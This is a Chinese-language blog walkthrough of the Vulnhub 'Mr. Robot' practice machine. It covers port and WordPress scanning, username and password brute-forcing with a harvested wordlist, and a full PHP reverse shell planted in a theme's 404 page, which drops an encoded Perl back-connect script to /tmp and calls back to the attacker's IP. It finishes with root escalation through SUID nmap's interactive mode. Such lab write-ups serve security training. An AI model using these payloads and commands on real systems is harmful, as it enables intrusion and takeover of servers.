【Vulnhub系列】Mr.root

已于 2023-06-21 21:31:39 修改
阅读量2.9k 收藏 6
点赞数
分类专栏： VULNHUB靶场题解集合 文章标签： mr php 开发语言
于 2018-12-05 21:16:34 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/nzjdsds/article/details/84712243
版权

靶机下载地址：https://download.vulnhub.com/mrrobot/mrRobot.ova.torrent

这次靶机的名称是Mr.root

kali:192.168.100.8

Win7:192.168.100.9

==================================================================================================

信息收集

扫描下靶机的IP地址:

 nmap -sP 192.168.100.0/24

可以看出靶机的IP地址为192.168.100.13

然后在用nmap -p 1-65535 192.168.100.13 对目标靶机进行端口扫描

我们先从80开始下手

网页动画就是linux开机登陆的过程，到后面会给你提供几个命令

我们看下他的robots.txt

http://192.168.100.13/robots.txt

打开fsocity.dic有点像一个爆破的字典

我们下载过来并去重保存

wget http://192.168.100.13/fsocity.dic

cat fsocity.dic | sort | uniq > fsocity_sorted.dic

再打开key-1-of-3.txt 

得到:

073403c8a58a1f80d943455fb30724b9

然后尝试用MD5解密，但是照不出结果

然后我们再用nikto扫描下靶机的漏洞

nikto -h 192.168.100.13

root@kali:~# nikto -h 192.168.100.13
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.100.13
+ Target Hostname:    192.168.100.13
+ Target Port:        80
+ Start Time:         2018-12-02 15:10:03 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad 
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.100.13/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ 7535 requests: 0 error(s) and 17 item(s) reported on remote host
+ End Time:           2018-12-02 15:12:36 (GMT8) (153 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

其中有包括大量的wp的信息

同样你可以使用nmap来扫描得到路径

nmap -Pn -n -p80 --script http-enum 192.168.100.13

root@kali:~# nmap -Pn -n -p80 --script http-enum 192.168.100.13
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-02 15:40 CST
Nmap scan report for 192.168.100.13
Host is up (0.00029s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /admin/: Possible admin folder
|   /admin/index.html: Possible admin folder
|   /wp-login.php: Possible admin folder
|   /robots.txt: Robots file
|   /readme.html: Wordpress version: 2 
|   /feed/: Wordpress version: 4.3.17
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|   /readme.html: Interesting, a readme.
|   /0/: Potentially interesting folder
|_  /image/: Potentially interesting folder
MAC Address: 08:00:27:26:9E:38 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 38.05 seconds
 

那么我们用wpsacn工具看看能不能找到更多有用的信息

wpscan --url 192.168.100.13 -e vp

root@kali:~# wpscan --url 192.168.100.13 -e vp
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://192.168.100.13/
[+] Started: Sun Dec  2 15:18:48 2018

[+] Interesting header: SERVER: Apache
[+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN
[+] Interesting header: X-MOD-PAGESPEED: 1.9.32.3-4523
[+] robots.txt available under: http://192.168.100.13/robots.txt   [HTTP 200]
[+] XML-RPC Interface available under: http://192.168.100.13/xmlrpc.php   [HTTP 405]

[+] Enumerating WordPress version ...
[!] The WordPress 'http://192.168.100.13/readme.html' file exists exposing a version number

[+] WordPress version 4.3.17 (Released on 2018-07-05) identified from links opml

[+] Enumerating installed plugins (only ones with known vulnerabilities) ...

   Time: 00:00:38 <====================================================================================================> (1671 / 1671) 100.00% Time: 00:00:38

[+] We found 8 plugins:

[+] Name: akismet
 |  Latest version: 4.1 
 |  Last updated: 2018-11-12T19:38:00.000Z
 |  Location: http://192.168.100.13/wp-content/plugins/akismet/

[!] We could not determine the version installed. All of the past known vulnerabilities will be output to allow you to do your own manual investigation.

[!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8215
    Reference: http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
    Reference: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
[i] Fixed in: 3.1.5

[+] Name: all-in-one-seo-pack - v2.0.4
 |  Last updated: 2018-10-24T22:24:00.000Z
 |  Location: http://192.168.100.13/wp-content/plugins/all-in-one-seo-pack/
 |  Readme: http://192.168.100.13/wp-content/plugins/all-in-one-seo-pack/readme.txt
[!] The version is out of date, the latest version is 2.9.1

[!] Title: All in One SEO Pack <= 2.1.5 - aioseop_functions.php new_meta Parameter XSS
    Reference: https://wpvulndb.com/vulnerabilities/6888
    Reference: http://blog.sucuri.net/2014/05/vulnerability-found-in-the-all-in-one-seo-pack-wordpress-plugin.html
[i] Fixed in: 2.1.6

[!] Title: All in One SEO Pack <= 2.1.5 - Unspecified Privilege Escalation
    Reference: https://wpvulndb.com/vulnerabilities/6889
    Reference: http://blog.sucuri.net/2014/05/vulnerability-found-in-the-all-in-one-seo-pack-wordpress-plugin.html
[i] Fixed in: 2.1.6

[!] Title: All in One SEO Pack <= 2.2.5.1 - Information Disclosure
    Reference: https://wpvulndb.com/vulnerabilities/7881
    Reference: http://jvn.jp/en/jp/JVN75615300/index.html
    Reference: http://semperfiwebdesign.com/blog/all-in-one-seo-pack/all-in-one-seo-pack-release-history/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0902
[i] Fixed in: 2.2.6

[!] Title: All in One SEO Pack <= 2.2.6.1 - Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/7916
    Reference: https://blog.sucuri.net/2015/04/security-advisory-xss-vulnerability-affecting-multiple-wordpress-plugins.html
[i] Fixed in: 2.2.6.2

[!] Title: All in One SEO Pack <= 2.3.6.1 - Unauthenticated Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8538
    Reference: http://seclists.org/fulldisclosure/2016/Jul/23
    Reference: https://semperfiwebdesign.com/blog/all-in-one-seo-pack/all-in-one-seo-pack-release-history/
    Reference: https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_all_in_one_seo_pack_wordpress_plugin.html
    Reference: https://wptavern.com/all-in-one-seo-2-3-7-patches-persistent-xss-vulnerability
    Reference: https://www.wordfence.com/blog/2016/07/xss-vulnerability-all-in-one-seo-pack-plugin/
[i] Fixed in: 2.3.7

[!] Title: All in One SEO Pack <= 2.3.7 -  Unauthenticated Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8558
    Reference: https://www.wordfence.com/blog/2016/07/new-xss-vulnerability-all-in-one-seo-pack/
    Reference: https://semperfiwebdesign.com/blog/all-in-one-seo-pack/all-in-one-seo-pack-release-history/
[i] Fixed in: 2.3.8

[+] Name: all-in-one-wp-migration - v2.0.4
 |  Last updated: 2018-11-22T10:17:00.000Z
 |  Location: http://192.168.100.13/wp-content/plugins/all-in-one-wp-migration/
 |  Readme: http://192.168.100.13/wp-content/plugins/all-in-one-wp-migration/readme.txt
[!] The version is out of date, the latest version is 6.80

[!] Title: All-in-One WP Migration <= 2.0.4 - Unauthenticated Database Export
    Reference: https://wpvulndb.com/vulnerabilities/7857
    Reference: http://www.pritect.net/blog/all-in-one-wp-migration-2-0-4-security-vulnerability
    Reference: https://www.rapid7.com/db/modules/auxiliary/gather/wp_all_in_one_migration_export
[i] Fixed in: 2.0.5

[!] Title: All-in-One WP Migration <= 6.45 - Reflected Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8851
    Reference: https://wordpress.org/plugins/all-in-one-wp-migration/#developers
[i] Fixed in: 6.46

[+] Name: contact-form-7 - v4.1
 |  Last updated: 2018-10-29T23:58:00.000Z
 |  Location: http://192.168.100.13/wp-content/plugins/contact-form-7/
 |  Readme: http://192.168.100.13/wp-content/plugins/contact-form-7/readme.txt
[!] The version is out of date, the latest version is 5.0.5

[!] Title: Contact Form 7 <= 5.0.3 - register_post_type() Privilege Escalation
    Reference: https://wpvulndb.com/vulnerabilities/9127
    Reference: https://contactform7.com/2018/09/04/contact-form-7-504/
    Reference: https://plugins.trac.wordpress.org/changeset/1935726/contact-form-7
    Reference: https://plugins.trac.wordpress.org/changeset/1934594/contact-form-7
    Reference: https://plugins.trac.wordpress.org/changeset/1934343/contact-form-7
    Reference: https://plugins.trac.wordpress.org/changeset/1934327/contact-form-7
[i] Fixed in: 5.0.4

[+] Name: google-analytics-for-wordpress - v5.3.2
 |  Last updated: 2018-11-27T18:47:00.000Z
 |  Location: http://192.168.100.13/wp-content/plugins/google-analytics-for-wordpress/
 |  Readme: http://192.168.100.13/wp-content/plugins/google-analytics-for-wordpress/readme.txt
[!] The version is out of date, the latest version is 7.3.2

[!] Title: Google Analytics by Yoast <= 5.3.2 - Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/7838
    Reference: http://packetstormsecurity.com/files/130716/
[i] Fixed in: 5.3.3

[!] Title: Google Analytics by Yoast <= 5.3.2 - Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/7856
    Reference: https://yoast.com/ga-plugin-security-update-more/
    Reference: http://klikki.fi/adv/yoast_analytics.html
    Reference: http://packetstormsecurity.com/files/130935/
[i] Fixed in: 5.3.3

[!] Title: Google Analytics by Yoast <= 5.3.3 - Unauthenticated Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/7914
    Reference: https://yoast.com/coordinated-security-release/
    Reference: https://blog.sucuri.net/2015/04/security-advisory-xss-vulnerability-affecting-multiple-wordpress-plugins.html
    Reference: http://klikki.fi/adv/yoast_analytics2.html
[i] Fixed in: 5.4

[!] Title: Google Analytics by Yoast <= 5.4.4 - Authenticated Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8147
    Reference: https://security.dxw.com/advisories/xss-in-google-analytics-by-yoast-premium-by-privileged-users/
[i] Fixed in: 5.4.5

[+] Name: google-sitemap-generator - v4.0.7.1
 |  Last updated: 2018-04-25T15:06:00.000Z
 |  Location: http://192.168.100.13/wp-content/plugins/google-sitemap-generator/
 |  Readme: http://192.168.100.13/wp-content/plugins/google-sitemap-generator/readme.txt
[!] The version is out of date, the latest version is 4.0.9

[!] Title: Google XML Sitemaps <= 4.0.8 - Authenticated Reflected XSS (via HOST header)
    Reference: https://wpvulndb.com/vulnerabilities/8762
    Reference: https://plugins.trac.wordpress.org/browser/google-sitemap-generator/trunk/sitemap-ui.php#L1310
[i] Fixed in: 4.0.9

[+] Name: jetpack - v3.3.2
 |  Last updated: 2018-11-27T11:01:00.000Z
 |  Location: http://192.168.100.13/wp-content/plugins/jetpack/
 |  Readme: http://192.168.100.13/wp-content/plugins/jetpack/readme.txt
[!] The version is out of date, the latest version is 6.8

[!] Title: Jetpack 3.0-3.4.2 - Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/7915
    Reference: https://blog.sucuri.net/2015/04/security-advisory-xss-vulnerability-affecting-multiple-wordpress-plugins.html
    Reference: https://jetpack.me/2015/04/20/jetpack-3-4-3-coordinated-security-update/
[i] Fixed in: 3.4.3

[!] Title: Jetpack <= 3.5.2 - Unauthenticated DOM Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/7964
    Reference: https://blog.sucuri.net/2015/05/jetpack-and-twentyfifteen-vulnerable-to-dom-based-xss-millions-of-wordpress-websites-affected-millions-of-wordpress-websites-affected.html
[i] Fixed in: 3.5.3

[!] Title: Jetpack <= 3.7.0 - Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8201
    Reference: https://jetpack.me/2015/09/30/jetpack-3-7-1-and-3-7-2-security-and-maintenance-releases/
    Reference: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-jetpack.html
[i] Fixed in: 3.7.1

[!] Title: Jetpack <= 3.7.0 - Information Disclosure
    Reference: https://wpvulndb.com/vulnerabilities/8202
    Reference: https://jetpack.me/2015/09/30/jetpack-3-7-1-and-3-7-2-security-and-maintenance-releases/
[i] Fixed in: 3.7.1

[!] Title: Jetpack <= 3.9.1 - LaTeX HTML Element XSS
    Reference: https://wpvulndb.com/vulnerabilities/8472
    Reference: https://jetpack.com/2016/02/25/jetpack-3-9-2-maintenance-and-security-release/
    Reference: https://github.com/Automattic/jetpack/commit/dbc33b9105c4dbb0de81544e682a8b6d5ab7e446
[i] Fixed in: 3.9.2

[!] Title: Jetpack 2.0-4.0.2 - Shortcode Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8500
    Reference: https://jetpack.com/2016/05/27/jetpack-4-0-3-critical-security-update/
    Reference: http://wptavern.com/jetpack-4-0-3-patches-a-critical-xss-vulnerability
    Reference: https://blog.sucuri.net/2016/05/security-advisory-stored-xss-jetpack-2.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10706
[i] Fixed in: 4.0.3

[!] Title: Jetpack <= 4.0.3 - Multiple Vulnerabilities
    Reference: https://wpvulndb.com/vulnerabilities/8517
    Reference: https://jetpack.com/2016/06/20/jetpack-4-0-4-bug-fixes/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10705
[i] Fixed in: 4.0.4

[+] Name: wptouch - v3.7.3
 |  Last updated: 2018-11-21T19:54:00.000Z
 |  Location: http://192.168.100.13/wp-content/plugins/wptouch/
 |  Readme: http://192.168.100.13/wp-content/plugins/wptouch/readme.txt
[!] The version is out of date, the latest version is 4.3.34

[!] Title: WPtouch Mobile Plugin <= 3.7.5.3 - Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/7920
    Reference: https://blog.sucuri.net/2015/04/security-advisory-xss-vulnerability-affecting-multiple-wordpress-plugins.html
[i] Fixed in: 3.7.6

[+] Finished: Sun Dec  2 15:19:36 2018
[+] Elapsed time: 00:00:47
[+] Requests made: 2110
[+] Memory used: 135.586 MB
 

枚举靶机wp中易受到攻击的插件，但是最后利用失败

我们访问下/wp-admin

尝试默认的账号密码admin/admin

出错 

在这里我用burp爆破下用户名，字典就是之前整理好的fsocity_sorted.dic字典

抓下登录的post包，然后对username进行爆破，密码随意。

结果如下

我们账号用elliot当账号去登陆

出现的提示着这样的，说明elliot这个账号是可以用的

然后我们把username用elliot代替，对password再用这个字典进行爆破结果如下

然后成功进入后台

同样的你也可以用wpscan爆破

wpscan --url http://192.168.100.13 --wordlist=/root/fsocity_sorted.dic --username elliot --threads 20

 

登陆后台后选择

利用php反弹shell

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "192.168.100.8"; //yourip
$yourport = '5555'; //yourport
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?>

然后用kali进行nc监听

更新404页面后，在博客上随便访问个不存在的页面来触发反弹代码

然后我们ls下看下有什么文件

没什么信息 我们取home目录看下

这里有第2个key，但是我们没有读的权限，只有robot能看

下面有个md5文件，我们可以读

然后我们取解密下这段

解密结果:abcdefghijklmnopqrstuvwxyz

那么我们就可以切换到root身份然后读取那个文件了

但是输入密码需要tty，方法有很多这里我用python的方法

得到key2

822c73956184f694993bede3eb39f959

接下来就是提权

检查下靶机的内核信息

有了这些信息，我前往https://www.exploit-db.com/并寻找一些我可以使用的权限升级漏洞。我尝试了OFS [CVE-2015-1328]和recvmsg [CVE-2014-0038]漏洞利用程序，但都未能获得root权限。

试下别的方法提升权限

找下系统中所有suid文件

这里有个nmap,就会想到一个经典的利用nmap的

较旧版本的Nmap（2.02至5.21）具有交互模式，允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中，因此可以使用交互式控制台来运行具有相同权限的shell。

查看下nmap版本

进入Nmap交互模式

nmap --interactive

以下命令将提供一个提升的shell。

！sh

现在我有root访问权限，我运行了以前用来尝试查找所有与密钥文件（find / -name 'key-*-of-3.txt' 2>/dev/null）的命名模式相匹配的文件的命令

find / -name 'key-*-of-3.txt' 2>/dev/null

大方子
关注
  • 0
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
vulnhub-MR.Robot (考点 信息搜集/wordpress/nmap提权）
冬萍子癸水
04-22 200
https://www.vulnhub.com/entry/mr-robot-1,151/ nat网络 arp-scan -l 比平常多的ip就是靶机了 就80web，进去花里胡哨。挺有意思的。看着像一顿操作，猛如虎啊。。 不过dirbuster一扫，就原形毕露了。。。 wp是WordPress，就是个WordPress考点，要想到wpscan扫漏洞。等等 不过这次的比较简单， lincense里...
MR.robot
qingjie0ng的博客
12-31 954
前言：看过了MR.robot这部电视剧，感觉作为一名网络义警是一件很酷的事情。随便学习一下信息收集、枚举、Linux提权（大佬勿喷）。场景中使用的工具可以按个人习惯来替换操作 安装： 下载链接：Mr-Robot: 1 ~ VulnHub tryhackme：TryHackMe | Mr Robot CTF 直接导入虚拟机镜像（注意与攻击机的网段，因为部署在内网中，要清楚自己搭建的网段） 测试步骤 nmap扫描网段存活主机与端口（根据自己要收集的需求使用nmap命令；个人小建议：nat网络适配
Vulnhub——AI: WEB: 1
最新发布
流水不争先，争的是滔滔不绝
06-18 601
（1）OS-shell,Openssl的利用（2）Linux /etc/passwd文件写入root用户进行提权
No.24-VulnHub-Lin.Security: 1-Walkthrough渗透学习
qq_34801745的博客
01-20 1175
** VulnHub-Mr-Robot: 1-Walkthrough ** 靶机地址：https://www.vulnhub.com/entry/linsecurity-1,244/ 靶机难度：中级（CTF） 靶机发布日期：2018年7月11日 靶机描述：在in.security，我们希望开发一个Linux虚拟机，该虚拟机在编写本文时基于最新的Ubuntu发行版（18.04 LTS），但存在许多漏...
Vulnhub——Hackademic.RTB1
weixin_52512479的博客
07-25 158
利用获取得到的密码以及数据库密码均不能登录。发现原来是一个wordpress搭建的。上传到靶机，并利用，获取到root权限。通过手动注入发现在此处存在sql注入。root下有一个Key.txt文件。反弹shell利用kali连接。开启上传权限，添加php后缀。尝试用获取的的账户密码登录。上传一句话，连接蚁剑。
Vulnhub_Mr-Root靶机渗透测试
m0_66225311的博客
09-08 97
Vulnhub_Mr-Root靶机渗透测试
vulnhub Mr-Robot: 1
箭雨镜屋
12-17 1847
本文思路： nmap扫描开放端口-->dirb扫描网站目录-->查看robots.txt拿到第一个key，并下载字典文件-->爆破WordPress用户名和密码-->通过WordPress的模板编辑功能获得daemon用户反弹shell-->通过权限设置不当的密码文件获得robot用户的密码，并得到第二个key-->通过nmap提权，并得到第三个key
Mr.Robot靶机 - 机器人先生
Ms08067安全实验室
03-02 2198
本文作者：恩格尔-src小组﹀﹀﹀靶机简介：靶机主题来自美剧《黑客军团》，这是一部传达极客精神和黑客文化的上佳作品，不同于《硅谷》的搞笑风格，这部剧的主角Eliot患有精神分裂，整部剧的...
VulnhHub | Mr-Robot:1
薛定的餓貓
12-04 402
目录Mr.Robot项目地址测试环境信息收集暴力破解上传Web Shell生成TTY Shell提权Game Over Mr.Robot 最近在看黑客军团（Mr.Robot），其实说实话我觉得这片还是有点像心理犯罪片，以前看的时候有点看不懂在干啥（也可能智商问题），在逛vulnhub的时候又刚好看到有个以这个命名的靶机，就下载下来玩玩了。 项目地址 http://www.vulnhub.com/entry/mr-robot-1,151/ 难度：Low-Medium 测试环境 攻击机:Parrot 192.1
最全看完这篇 教你玩转渗透测试靶机Vulnhub——Mr-Robot 1，2024年最新软件测试开发应该了解的Binder原理
2401_84563933的博客
05-11 379
vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VMware或者Oracle VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。PS:需要获得root权限找到flagIntermediate（中级的）
2022最新版：MR. TAILOR V3.0.9主题：敏感的Woocommerce主题.rar
02-12
《MR. TAILOR V3.0.9：深度解析敏感的Woocommerce主题》 MR. TAILOR V3.0.9是一款专为WordPress设计的高级电子商务主题，尤其适用于那些对安全性有高要求的Woocommerce商店。这款主题在2022年进行了更新，以满足...
MR.rar_WSN_wsn-mr
07-14
在"MR.rar"压缩包中，包含了一个名为"MR.m"的MATLAB源代码文件。这个文件很可能是该WSN-MR算法的实现主体，包括了算法的主要逻辑、数据处理和误差计算。通过阅读和运行这个文件，我们可以深入理解算法的工作原理，...
Mr. Random-开源
05-09
《Mr. Random开源项目详解》 Mr. Random是一款开源的实用工具，专为音乐爱好者设计，旨在帮助用户从他们的大型音乐库中随机选取并填充便携式MP3播放器。这款软件不仅具备基本的随机选取功能，还包含了过滤机制和...
跟Mr.Excel学Excel秘技374招
08-28
Excel应用大师针对在实际应用中令人头疼的374个具体难题，提供了巧妙的解决方案和备选策略。
16MR.rar
05-02
"16MR.rar"这个压缩包文件显然包含了与三菱PLC相关的学习材料，尤其是针对16MR型号的编程实例。下面我们将深入探讨三菱PLC的基本概念、16MR型号的特点以及如何进行程序设计和调试。 首先，三菱PLC是日本三菱电机...
教你怎么用Vulnhub来搭建环境
热门推荐
大方子
09-22 2万+
0x01 前言 Vulnhub它是一个提供各种漏洞环境的平台，里面大部分的环境是要用VMware或者VirtualBox打开运行的。 如果只是练习一些常见的漏洞可以看我另外两篇用Docker来搭建各种漏洞靶场(妈妈再也不用担心我没有靶场练习了)从CentOS安装Docker来搭建漏洞靶场到Joomla 3.4.5 反序列化漏洞复现(附批量Getshell脚本) 0x02 下载 https:/...
【Vulnhub系列】DC1
大方子
03-07 6133
文章目录基本信息实验过程额外内容使用CVE2014-3704添加管理账号另一种查询具有root权限命令的find语句 下载地址：https://www.vulnhub.com/entry/dc-1-1,292/ 基本信息 Kali：192.168.56.116 DC1：192.168.56.115 实验过程 现在Kali中使用arp-scan进行主机探活 sudo arp-scan --interface=eth1 192.168.56.0/24 逐个排查发现DC1的IP地址为192.168.56.11
【Vulnhub】DC9
大方子
01-16 5390
靶机下载地址：http://www.five86.com/downloads/DC-9.zip 主机信息 Kali：192.168.56.113 DC9：192.168.56.112 实验过程 先进行主机探测，查找靶机的IP地址： arp-scan --interface eth1 192.168.56.1/24 用nmap对主机进行排查确定，DC9的IP地址为192.168.56.112 可以看到DC开放了80端口以及22端口（被过滤） nmap -sC -sV -oA dc-9 192.168.56
csdn informed rrt* mr.winter
12-14
尊敬的winter先生，您好！ 感谢您选择CSDN作为您的学习和交流平台。我们很高兴地通知您，您已经成功注册成为我们的认证网络工程师（RRT*）会员。 作为RRT*会员，您将享有更多特权和服务，包括专属的学习资源、技术支持和行业活动参与机会。通过这些特权，您将能够更好地提升自己的专业技能和知识水平，与行业内的专业人士进行交流和合作，共同成长和进步。 我们希望您能够充分利用这些资源和机会，不断学习和提升自己的技术能力，为您的职业发展和个人成长打下坚实的基础。同时，我们也鼓励您积极参与我们举办的各种活动和交流，与其他会员一起分享经验和见解，共同促进行业的发展和进步。 最后，祝愿您在CSDN的学习之旅中取得更多的成就和进步！如果您在使用过程中遇到任何问题，都可以随时与我们联系，我们将竭诚为您服务。 再次感谢您对CSDN的信任和支持！ 祝好！ CSDN团队 敬上
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值